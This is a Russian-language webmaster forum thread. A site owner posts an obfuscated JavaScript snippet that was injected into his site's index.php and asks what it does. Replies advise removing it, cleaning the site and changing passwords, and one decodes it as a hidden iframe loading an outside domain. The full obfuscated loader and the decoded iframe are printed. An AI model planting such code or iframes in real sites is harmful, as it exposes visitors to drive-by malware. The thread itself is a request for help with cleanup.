Попал вирус, подскажите, что это?

BD
На сайте с 27.12.2007
Offline
152
B_D
382

На сайт попала вот такая бяка. Появилась в index.php, вписана в самое начале кода страницы, первой строкой. Яндекс ругается... Подскажите, пожалуйста, что оно делает? И как с ним в дальнейшем бороться?

<script>function n788ca631e481(e8e8905){var y5d112=String,a5131c9=e8e8905.substr(hf05db6(),3)-434,l7464f,td0d1a640;e8e8905=e8e8905.substr(nebd11e2());var d2603e=a94464(e8e8905);for(var x2078b6=0;x2078b6<d2603e;x2078b6++){try{throw(fc2569=of942a23(e8e8905,x2078b6));}catch(e){fc2569=e;};if(fc2569=='}'){a5131c9="";x2078b6++;p89b04=sbc79d(e8e8905,x2078b6);while(cf407622(p89b04)){a5131c9+=p89b04;x2078b6++;p89b04=e8e8905.substr(x2078b6,1);}a5131c9-=618;continue;}l7464f="";if(fc2569=='°'){x2078b6++;fc2569=e8e8905.substr(x2078b6,1);while(fc2569!='°'){l7464f+=fc2569;x2078b6++;fc2569=e8e8905.substr(x2078b6,1);}l7464f=l7464f-a5131c9-35;if(l7464f<0)l7464f+=256;if(l7464f>=192)l7464f+=848;else if(l7464f==168)l7464f=1025;else if(l7464f==184)l7464f=1105;document.write(y5d112["f\x72\x6f\x6dCh\x61r\x43o\x64\x65"](l7464f));continue;}pe1d551=had71e(fc2569);if(pe1d551>848)pe1d551-=848;td0d1a640=pe1d551-a5131c9-35;td0d1a640=jbf4a74(td0d1a640);document.write(y5d112["f\x72\x6f\x6dCh\x61r\x43o\x64\x65"](td0d1a640));}}n788ca631e481("d8e51472°133°}746}°7°°12°°25°°195°°22°°23°}751}!°20°°13°°229°°202°°30°°17°}797}I?8?}646}°171°}710}°232°°243°°248°°185°°231°}725}°247°}678}°195°°195°°196°°205°°129°°157°}723}°200°°245°°242°°254°°237°}641}°167°}784}.}712}°161°°244°°243°°228°}767}°245°°218°°32°,}705}°238°°234°°180°°169°°169°}810}U}709}°228°°229°°179°}736}°199°°252°°19°}674}°137°°190°°190°°138°°191°}688}°216°}743}°13°°1°}693}°215°°220°°225°°157°}757}°222°°223°}701}°152°}755}°204°#°21°°16°}759}$°24°°237°}696}°162°}696}°161°°161°°145°°217°°214°}803}ECDP°25°°20°}807}°16°°30°}747}°224°°211°°13°°10°}704}°235°°218°°230°°222°°183°}623}d}804}°12°}782}+0=°5°");function hf05db6(){return 5;}function nebd11e2(){return 8;}function a94464(l39fcd2){return l39fcd2.length;}function of942a23(yb2b5208d,a8d857){return yb2b5208d.substr(a8d857,1);}function sbc79d(ye2274d1,hdc8122b){return ye2274d1.substr(hdc8122b,1);}function cf407622(sfbd020e){return sfbd020e!='}';}function jbf4a74(pb81aa7){var kbb9671=pb81aa7;if(kbb9671<0)kbb9671+=256;if(kbb9671==168)kbb9671=1025;else if(kbb9671==184)kbb9671=1105;return (kbb9671>=192 && kbb9671<256) ? kbb9671+848 : kbb9671;}function had71e(gc94e5956){return (gc94e5956+'')["\x63\x68a\x72Co\x64\x65A\x74"](0);}</script>

Сайт на DLE, только-только в индекс пришел.

[umka]
На сайте с 25.05.2008
Offline
456
#1
B_D:
На сайт попала вот такая бяка. Появилась в index.php, вписана в самое начале кода страницы, первой строкой. Яндекс ругается... Подскажите, пожалуйста, что оно делает?

Если этот код добавили не вы, то ничего хорошего оно точно не делает :D

B_D:
И как с ним в дальнейшем бороться?

Код вырезать.

Сайт чистить.

Пароли менять.

Лог в помощь!
BD
На сайте с 27.12.2007
Offline
152
B_D
#2

Всё поменял/почистил (благо, зацепило только один файл одного сайта на аккаунте). Просто интересно, чем этот код занимается.. Может он уже куданибуть сливает все мои вебмани и порноколлекцию:)

S
На сайте с 28.10.2005
Offline
319
#3
B_D:
Просто интересно, чем этот код занимается.. Может он уже куданибуть сливает все мои вебмани и порноколлекцию:)

Код создает ифрейм на странице


<div style="visibility:hidden">
<iframe src="http://rfg5.cz.cc/domains/01" width=100 height=80></iframe>
</div>

Так что всякое может быть

webmaster79
На сайте с 31.03.2011
Offline
13
#4

И правильно делает порно нужно делиться )

Не плачь, не бойся, не проси

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий